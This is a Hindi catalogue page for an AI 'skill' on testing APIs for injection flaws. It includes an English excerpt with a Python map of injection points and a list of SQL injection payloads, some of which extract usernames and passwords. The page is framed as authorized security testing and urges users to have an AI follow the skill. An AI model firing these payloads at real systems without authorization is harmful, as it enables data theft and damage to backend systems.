मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी35k · #7900

exploiting-api-injection-vulnerabilities

यह क्या करती है

यह टूल जाँचता है कि वेबसाइट को भेजी गई जानकारी (जैसे यूज़रनेम या पासवर्ड) से क्या सिस्टम को धोखा देकर बिना अनुमति डेटा दिखवाया या कमांड चलवाई जा सकती है। यह APIs में आम सुरक्षा कमियाँ ढूँढता है।

कब इस्तेमाल करें

  • ✓जब किसी वेबसाइट के लॉगिन या सर्च फ़ॉर्म की टेस्टिंग कर रहे हों।
  • ✓जब कोई API वेबसाइट के URL या पते स्वीकार करता हो।
  • ✓यह जाँचने के लिए कि संवेदनशील डेटा उजागर हो सकता है या नहीं।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-api-injection-vulnerabilities/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-api-injection-vulnerabilities/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“जाँचो कि लॉगिन API SQL injection के लिए कमज़ोर है या नहीं।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

टूल API के अलग-अलग हिस्सों (जैसे टेक्स्ट फ़ील्ड, headers या request bodies) में दुर्भावनापूर्ण कमांड और डेटा के अलग-अलग रूप भेजता है। फिर जवाबों का विश्लेषण करता है कि किसी कोशिश ने कमी का फ़ायदा उठाया या नहीं।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Exploiting API Injection Vulnerabilities

When to Use

  • Testing API endpoints that accept user input for database queries, system commands, or external requests
  • Assessing APIs that interact with SQL databases, NoSQL stores (MongoDB, Redis), LDAP directories, or external URLs
  • Evaluating input validation and parameterized query usage across all API endpoints
  • Testing for SSRF where API parameters accept URLs or hostnames that trigger server-side requests
  • Identifying injection points in headers, path parameters, query strings, and JSON/XML request bodies

Do not use without written authorization. Injection testing can modify or destroy data and compromise backend systems.

Prerequisites

  • Written authorization specifying target API and backend systems in scope
  • Python 3.10+ with requests library
  • SQLMap for automated SQL injection detection and exploitation
  • Burp Suite Professional with Active Scan capabilities
  • Knowledge of the backend database technology (MySQL, PostgreSQL, MongoDB, Redis)
  • Isolated test environment to avoid production data corruption

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Injection Point Identification

import requests
import json
import urllib.parse

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Map all input points across the API
injection_points = [
    # Path parameters
    {"type": "path", "method": "GET", "url": "/users/{input}"},
    {"type": "path", "method": "GET", "url": "/products/{input}"},
    {"type": "path", "method": "GET", "url": "/orders/{input}"},
    # Query parameters
    {"type": "query", "method": "GET", "url": "/users?search={input}"},
    {"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
    {"type": "query", "method": "GET", "url": "/products?category={input}"},
    {"type": "query", "method": "GET", "url": "/search?q={input}"},
    # JSON body parameters
    {"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
    {"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
    {"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
    {"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
    # Header parameters
    {"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
]

Step 2: SQL Injection Testing

# SQL injection payloads for different contexts
SQL_PAYLOADS = {
    "detection": [
        "'",
        "\"",
        "' OR '1'='1",
        "\" OR \"1\"=\"1",
        "1 OR 1=1",
        "' OR 1=1--",
        "' UNION SELECT NULL--",
        "1; WAITFOR DELAY '0:0:5'--",
        "1' AND SLEEP(5)--",
        "1)) OR 1=1--",
    ],
    "union_based": [
        "' UNION SELECT NULL,NULL,NULL--",
        "' UNION SELECT 1,2,3--",
        "' UNION SELECT username,password,NULL FROM users--",
        "-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
    ],
    "error_based": [
        "' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
        "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
    ],
    "time_based": [
        "' AND SLEEP(5)--",
        "'; WAITFOR DELAY '0:0:5'--",
        "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
        "1; SELECT pg_sleep(5)--",
    ],
}

import time

def test_sql_injection(endpoint, param_name, param_type="query"):
    """Test a parameter for SQL injection."""
    results = []

    for category, payloads in SQL_PAYLOADS.items():
        for payload in payloads:
            start = time.time()

            if param_type == "query":
                url = f"{BASE_URL}{endpoint}"
                resp = requests.get(url, headers=headers,
                                  params={param_name: payload}, timeout=15)
            elif param_type == "body":
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={param_name: payload}, timeout=15)

…
अक्सर पूछे जाने वाले सवाल

इस संदर्भ में 'injection' क्या है?

जब हमलावर किसी इनपुट फ़ील्ड में अनचाही कमांड या डेटा डालता है ताकि सिस्टम अनजाने में गलत व्यवहार करे, जैसे जानकारी दिखाना या कोई काम करना।

'API vulnerabilities' क्या होती हैं?

ये Application Programming Interfaces (APIs) की सुरक्षा कमियाँ होती हैं, जिनका फ़ायदा हमलावर बिना अनुमति पहुँच पाने या नुकसान पहुँचाने के लिए उठा सकते हैं।

SSRF क्या है?

SSRF (Server-Side Request Forgery) एक कमज़ोरी है, जिसमें हमलावर वेब सर्वर को धोखा देकर उससे दूसरी अंदरूनी या बाहरी सेवाओं पर request भिजवा सकता है, जैसे request सर्वर खुद भेज रहा हो।

जानकारी

लेखक का मूल विवरण

Tests API parameters, headers, and request bodies for injection flaws — SQL injection, NoSQL injection, OS command injection, LDAP injection, and SSRF — by crafting payloads tailored to the target backend to extract data, execute commands, or reach internal services, mapped to OWASP API8:2023 and API7:2023 SSRF. Use when performing SQLi, NoSQL injection, command injection, or SSRF testing against

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#7900
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills